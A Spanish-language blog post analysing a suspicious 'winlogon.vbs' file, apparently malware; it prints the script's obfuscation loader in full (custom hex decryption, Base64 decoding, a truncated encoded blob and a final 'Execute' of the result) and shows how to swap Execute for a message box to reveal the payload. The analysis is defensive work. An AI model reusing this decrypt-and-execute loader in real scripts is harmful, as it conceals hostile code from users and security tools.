4null0: Analizando el archivo: "winlogon.vbs"

Hace unos días me dieron el siguiente archivo con extensión “.vbs”:

Nombre: winlogon.vbs

Md5: 8956FFB4FE720569055830FDB0D1D6EC

Md5 del archivo a analizar

Con un editor de texto se reviso el contenido, que guardaba una sorpresa:

Private Function DeCryptString(strCryptString)

'####################################################################

'### Arguments: Encrypted HEX stringt ###

'### Output: Decrypted ASCII string ###

'####################################################################

'### Note this function uses HexConv() and get_hxno() functions ###

'### so make sure they are not removed ###

'####################################################################

Dim strRAW, arHexCharSet, i, intKey, intOffSet, strRawKey, strHexCrypData

strRawKey = Right(strCryptString, Len(strCryptString) - InStr(strCryptString, "|"))

intOffSet = Right(strRawKey, Len(strRawKey) - InStr(strRawKey,"|"))

intKey = HexConv(Left(strRawKey, InStr(strRawKey, "|") - 1)) - HexConv(intOffSet)

strHexCrypData = Left(strCryptString, Len(strCryptString) - (Len(strRawKey) + 1))

arHexCharSet = Split(strHexCrypData, Hex(intKey))

For i=0 to UBound(arHexCharSet)

strRAW = strRAW & Chr(HexConv(arHexCharSet(i))/intKey)

Next

DeCryptString = strRAW

End Function

Private Function HexConv(hexVar)

Dim hxx, hxx_var, multiply

IF hexVar <> "" THEN

hexVar = UCASE(hexVar)

hexVar = StrReverse(hexVar)

DIM hx()

REDIM hx(LEN(hexVar))

hxx = 0

hxx_var = 0

FOR hxx = 1 TO LEN(hexVar)

IF multiply = "" THEN multiply = 1

hx(hxx) = mid(hexVar,hxx,1)

hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var

multiply = (multiply * 16)

NEXT

hexVar = hxx_var

HexConv = hexVar

END IF

End Function

Private Function get_hxno(ghx)

If ghx = "A" Then

ghx = 10

ElseIf ghx = "B" Then

ghx = 11

ElseIf ghx = "C" Then

ghx = 12

ElseIf ghx = "D" Then

ghx = 13

ElseIf ghx = "E" Then

ghx = 14

ElseIf ghx = "F" Then

ghx = 15

End If

get_hxno = ghx

End Function

' Decodes a base-64 encoded string (BSTR type).

' 1999 - 2004 Antonin Foller, http://www.motobit.com

' 1.01 - solves problem with Access And 'Compare Database' (InStr)

Function Base64Decode(ByVal base64String)

'rfc1521

'1999 Antonin Foller, Motobit Software, http://Motobit.cz

Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

Dim dataLength, sOut, groupBegin

'remove white spaces, If any

base64String = Replace(base64String, vbCrLf, "")

base64String = Replace(base64String, vbTab, "")

base64String = Replace(base64String, " ", "")

'The source must consists from groups with Len of 4 chars

dataLength = Len(base64String)

If dataLength Mod 4 <> 0 Then

Err.Raise 1, "Base64Decode", "Bad Base64 string."

Exit Function

End If

' Now decode each group:

For groupBegin = 1 To dataLength Step 4

Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut

' Each data group encodes up To 3 actual bytes.

numDataBytes = 3

nGroup = 0

For CharCounter = 0 To 3

' Convert each character into 6 bits of data, And add it To

' an integer For temporary storage. If a character is a '=', there

' is one fewer data byte. (There can only be a maximum of 2 '=' In

' the whole string.)

thisChar = Mid(base64String, groupBegin + CharCounter, 1)

If thisChar = "=" Then

numDataBytes = numDataBytes - 1

thisData = 0

Else

thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1

End If

If thisData = -1 Then

Err.Raise 2, "Base64Decode", "Bad character In Base64 string."

Exit Function

End If

nGroup = 64 * nGroup + thisData

Next

'Hex splits the long To 6 groups with 4 bits

nGroup = Hex(nGroup)

'Add leading zeros

nGroup = String(6 - Len(nGroup), "0") & nGroup

'Convert the 3 byte hex integer (6 chars) To 3 characters

pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _

Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _

Chr(CByte("&H" & Mid(nGroup, 5, 2)))

'add numDataBytes characters To out string

sOut = sOut & Left(pOut, numDataBytes)

Next

Base64Decode = sOut

End Function

data = "MkEwQTMwRTExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyMkU1QTAxNjExM0Y0MjJFNUEwMTYxMTNGNDIyRTVBMDE2MTEzRjQyNDFDMTJCQTExM0Y0MjI0QTY2QzQxMTNGNDI1REM3RjZFMTEzRjQyNTUyODU1RTExM0Y0MjU4NjQzMjQxMTNGNDI1MzAwNkRBMTEzRjQyMjI3RTg0MDExM0Y0MjUzMDA2REExMTNGNDI1NTI4NTVFMTEzRjQyNDk0Q0Q4ODExM0Y0MjRFQjA5RDIxMTNGNDI0Qjc0QzBDMTEzRjQyNEVCMDlEMjExM0Y0MjR

… <más contenido>…

UUyQjY0MTEzRjQyNzdBNkQ5RTExM0Y0MjZBQjc2ODYxMTNGNDI2Q0RGNTBBMTEzRjQyN0JGNkFBNjExM0Y0MjdCRjZBQTYxMTNGNDIyMjdFODQwMTEzRjQyNDFDMTJCQTExM0Y0MjIyN0U4NDAxMTNGNDI2Q0RGNTBBMTEzRjQyNzY5MkU1QzExM0Y0MjdFMUU5MkExMTNGNDI3NTdFRjFBMTEzRjQyNzhCQU"

dec2 = Base64Decode(data)

dec1 = DeCryptString(dec2)

‘msgbox dec1

Execute dec1

Para decodificar (base 64) y descifrar, el propio código muestra lo que se debe hacer: sólo tenemos que des-comentar la penúltima línea y comentar la última:

dec2 = Base64Decode(data)

dec1 = DeCryptString(dec2)

msgbox dec1

‘Execute dec1

Obteniendo el siguiente resultado:

Parte del contenido ofuscado en base64 y cifrado

Un código verdaderamente interesante, pero tenemos el problema de la limitación en la visualización.

Para salvar dicho problema, se tuvo que volcar el contenido des-ofuscado a un archivo con extensión “.txt”, que permitiera su posterior estudio. Para ello se desarrollo la función: volcardatos().